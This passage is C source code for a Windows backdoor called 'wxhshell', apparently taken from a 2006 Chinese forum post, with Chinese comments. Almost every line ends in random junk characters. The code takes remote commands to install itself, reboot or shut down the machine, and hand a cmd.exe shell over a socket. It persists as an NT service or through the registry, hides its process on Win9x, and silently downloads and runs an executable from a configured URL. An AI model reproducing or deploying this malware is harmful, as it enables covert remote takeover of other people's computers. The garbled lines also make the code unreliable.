  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e|xRK?aVBu  
  } }6ec2I%`o  
  else { J`V7FlM  
i!sKL%z}  
    switch(cmd[0]) { JAc-5e4  
  XG_ lyx%:E  
  // 帮助 {n2jAR9nq  
  case '?': { JZ80|-c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @k ~Xem%<  
    break; :/d#U:I  
  } dsrzXmE0  
  // 安装 t"JfqD E  
  case 'i': { ,in`JM<o  
    if(Install()) +qDudGI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I`zn#U'  
    else n$B=Vt,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .kGg }  
    break; D+#QQH  
    } U(.Ln@sq  
  // 卸载 oB#KR1 >%7  
  case 'r': { !&?(ty^F  
    if(Uninstall()) 3zv_q&+8b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mp>,TOi~s7  
    else A0 x*feK?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S 0,p:Wey  
    break; fPa FL}&  
    } Q4}2-}|  
  // 显示 wxhshell 所在路径 :a nUr<  
  case 'p': { Z^>{bW  
    char svExeFile[MAX_PATH]; YN.rj-;^+  
    strcpy(svExeFile,"\n\r"); vRYfB{~  
      strcat(svExeFile,ExeFile); *Xn{{  
        send(wsh,svExeFile,strlen(svExeFile),0); *oKc4S+  
    break; b~WiE?  
    } bK<'J=#1  
  // 重启 ggXg4~WL  
  case 'b': { (Lp<T!"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \Om.pOz  
    if(Boot(REBOOT)) Nu<M~/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _cQTQ  
    else { jV#{8 8  
    closesocket(wsh); (O"Wa  
    ExitThread(0); o{37}if  
    } Myg &H(~  
    break; hL+)XJu^J  
    } )Gh"(]-<  
  // 关机 v&(PM{3o  
  case 'd': { 71Q-_Hi  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -1DQO|q#  
    if(Boot(SHUTDOWN)) M._9/ *C U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S[n ;u-U  
    else { ;r B2Q H]  
    closesocket(wsh); U4w^eWzP  
    ExitThread(0); wG ua"@IE  
    } BRi\&&<4  
    break; 0P3^#j  
    } s["8QCd"r  
  // 获取shell 4l<%Q2  
  case 's': { d *!)wt  
    CmdShell(wsh); j;WZ[g#t  
    closesocket(wsh); /2Y t\=S=  
    ExitThread(0); dmgoVF_qR  
    break; G\@ uj>Z  
  }  <]2X~+v  
  // 退出 96fbMP+7R  
  case 'x': { x_GD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A9`& Wnw?  
    CloseIt(wsh); 2"cUBFc1I  
    break; @!1o +x  
    } PJ5~,4H-4  
  // 离开 vR[XbsNM  
  case 'q': { U(4>e!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [AstD9  
    closesocket(wsh); )*}2L_5]  
    WSACleanup(); ANR?An  
    exit(1); |08b=aR6ro  
    break; 1MkQ$v7m  
        } wJ,l"bnq  
  } dfAnOF"-  
  } P-[6'mw`  
Ha>Hb`  
  // 提示信息 Ka%u#};  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %{?EfULg  
} X0wvOs:  
  } <$7HX/P  
;~CAHn|Fe  
  return; ve|ig]$5g<  
} `!V=~"ve  
J$Uj@M  
// shell模块句柄 mwU|Hh)N]  
int CmdShell(SOCKET sock) !6{; z/Hy  
{ Gi]R8?M  
STARTUPINFO si; W@Et  
ZeroMemory(&si,sizeof(si)); us%dw&   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "ld4v+o8l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u*u3<YQ  
PROCESS_INFORMATION ProcessInfo; _=!R l#  
char cmdline[]="cmd"; P_6JweN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2NMS '"8  
  return 0; j N":9+F  
} qtlXDgppO  
\JjZ _R  
// 自身启动模式 .nh }f}j  
int StartFromService(void) c~ x  
{ jNV)=s^ed[  
typedef struct `#J0@ -  
{ c"F3[mrff  
  DWORD ExitStatus; 7-S?\:J  
  DWORD PebBaseAddress; ( $s%5|  
  DWORD AffinityMask; nbd-f6F6  
  DWORD BasePriority; >(T)9fKF  
  ULONG UniqueProcessId; nD#QC=}  
  ULONG InheritedFromUniqueProcessId; 9vX~gh{]~  
}   PROCESS_BASIC_INFORMATION; &}}UdJ`  
PiQs Vk  
PROCNTQSIP NtQueryInformationProcess; vNo(`~]c  
F{,<6/ayRz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }[2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hJ|zX  
_TLB1T^/4  
  HANDLE             hProcess; X"hdCY%  
  PROCESS_BASIC_INFORMATION pbi; oJ4OVfknD  
:[P)t %  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e97Ll=>  
  if(NULL == hInst ) return 0; ZRCm'p3  
) oypl+y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t_ju[xL5B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `_;sT8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;-]' OiS;  
4{zz-4=  
  if (!NtQueryInformationProcess) return 0; +wPXDN#R  
Sao4MkSz[]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); } X|*+<  
  if(!hProcess) return 0; Q3h_4{w  
p<[gzmU9\b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M0) q  
3aX/)v.:4  
  CloseHandle(hProcess); PAYS~MnV@3  
MJ.K,e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]0dj##5tJ  
if(hProcess==NULL) return 0; b@s6jNhVO^  
lq'MLg  
HMODULE hMod; E&z`BPd  
char procName[255]; 84U?\f@u  
unsigned long cbNeeded; uCB>".'kM  
\img   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MJ?fMR@  
_-+xzdGvX  
  CloseHandle(hProcess); :@~W$f\y  
K`vc&uf  
if(strstr(procName,"services")) return 1; // 以服务启动 |^09ny|  
mxPzB#t4  
  return 0; // 注册表启动 ,%=SO 82W  
} .Ld{QPa  
9\ulS2d  
// 主模块 Q\moR^>  
int StartWxhshell(LPSTR lpCmdLine) ;}>g/lw  
{ zBjtPtiiI8  
  SOCKET wsl; kfW"vI+d  
BOOL val=TRUE; *Ei(BrL/;  
  int port=0; /$=<"Y7&g  
  struct sockaddr_in door; ^!v{ >3  
&02I-lD4+  
  if(wscfg.ws_autoins) Install(); })F.Tjf*  
$p;<1+!  
port=atoi(lpCmdLine); '#eY4d<i]n  
QWQJSz5  
if(port<=0) port=wscfg.ws_port; V1-URC24vd  
*ufVZzP(  
  WSADATA data; Wc HL:38  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;R[w}#Sm  
'c/S$_r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "tF#]iQQ u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q]2t3aY%  
  door.sin_family = AF_INET; 8\VP)<<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7 .y35y  
  door.sin_port = htons(port); sS{!z@\Lf  
4K(oOxc9.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =THRy ZCH  
closesocket(wsl); Ys@OgdS@:  
return 1; =kP|TR!o-  
} ]tx/t^&/\u  
`UD,ne  
  if(listen(wsl,2) == INVALID_SOCKET) { : *8t,f~s^  
closesocket(wsl); uA[c$tBe  
return 1; K6EG"Vv!  
} :\F1S:&P  
  Wxhshell(wsl); 7R7e3p,K  
  WSACleanup(); }h+{>{2j  
wTe 9OFv  
return 0; 1:;S6{oQ  
^61;0   
} wx*03(|j;  
/<VR-yr  
// 以NT服务方式启动 -{z<+(K!$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 92(P~Sdv  
{ n@$("p  
DWORD   status = 0; 6PyW(i(bs  
  DWORD   specificError = 0xfffffff; :|a$[g5  
tjg?zlj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gwyX%9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 85:KlBe%+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (91 YHhk{  
  serviceStatus.dwWin32ExitCode     = 0; gvFs$X*^:  
  serviceStatus.dwServiceSpecificExitCode = 0; hw({>cH\  
  serviceStatus.dwCheckPoint       = 0; uk9!rE"  
  serviceStatus.dwWaitHint       = 0; 7 -S?U~s  
+z|@K=d#|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /hSEm.<  
  if (hServiceStatusHandle==0) return; *X /i<  
M2Jb<y]  
status = GetLastError(); -&EU#Wqh  
  if (status!=NO_ERROR) kB9@ &t +  
{ B|K^:LUk9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8ByNaXMO6  
    serviceStatus.dwCheckPoint       = 0; / ?'FSWDU  
    serviceStatus.dwWaitHint       = 0; T STkMlCG  
    serviceStatus.dwWin32ExitCode     = status; (L*<CV  
    serviceStatus.dwServiceSpecificExitCode = specificError; j6WDh}#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Mzr[dI  
    return; N4l}5(e  
  } aTwBRm  
 ]&OI.p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O>"T*   
  serviceStatus.dwCheckPoint       = 0; ~"VM_Lz]5  
  serviceStatus.dwWaitHint       = 0; ue1g(;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n0QHrIf{  
} b!<)x}-t>  
?c<uN~fC=  
// 处理NT服务事件,比如:启动、停止 SUDvKP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WP{U9YF2  
{ VG_xNM  
switch(fdwControl) }5AA}=  
{ []G@l. ]W  
case SERVICE_CONTROL_STOP: Q7]bUPDO  
  serviceStatus.dwWin32ExitCode = 0; GuC 9h^[=M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M5:j)o W  
  serviceStatus.dwCheckPoint   = 0; a@ ^)?cH!z  
  serviceStatus.dwWaitHint     = 0; BvS!P8  
  { }wZsM[NDB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :JU$ 6  
  } ; +1ooeU  
  return; 2^%O%Pc  
case SERVICE_CONTROL_PAUSE: pJ JOy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lNz1|nS(Kd  
  break; Y;"jsK{$  
case SERVICE_CONTROL_CONTINUE: PJT$9f~3;.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8 ,W*)Q  
  break; Bbtc[@"X  
case SERVICE_CONTROL_INTERROGATE: 3^iVDbAW{  
  break; &b'{3o_KN  
}; ZnBGNr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s"5nfl  
} p fR~?jYzm  
Lvrflx*Q  
// 标准应用程序主函数 A ^t _"J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @~}~;}0x  
{ L}7 TM:%  
U|<>xe*|%  
// 获取操作系统版本 }`aT=_B  
OsIsNt=GetOsVer(); g 'td(i[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BOD!0CR5  
y;%\ w-.\  
  // 从命令行安装 <'48mip  
  if(strpbrk(lpCmdLine,"iI")) Install(); NHcA6y$Cz  
J+T tM>  
  // 下载执行文件 {e1sq^>|  
if(wscfg.ws_downexe) { X]D:vuB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a'g&1N0Rc  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'w=aLu5dY  
} >2v<;.  
X|yVRQ?F`  
if(!OsIsNt) { 6n|][! f  
// 如果时win9x,隐藏进程并且设置为注册表启动 _S,UpR~2W  
HideProc(); Gx*B(t]4y  
StartWxhshell(lpCmdLine); 3 }3C*w+  
} 8|nc( $}~  
else x`Wb9[u8  
  if(StartFromService()) yMD3h$w3a  
  // 以服务方式启动 bYmk5fpRG  
  StartServiceCtrlDispatcher(DispatchTable); X3] [C  
else R?y_tho4A  
  // 普通方式启动 d)0|Q  
  StartWxhshell(lpCmdLine); I%b5a`7  
OdO n wY  
return 0; /([a%,DI  
}
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只看该作者 1 发表于: 2006-10-10
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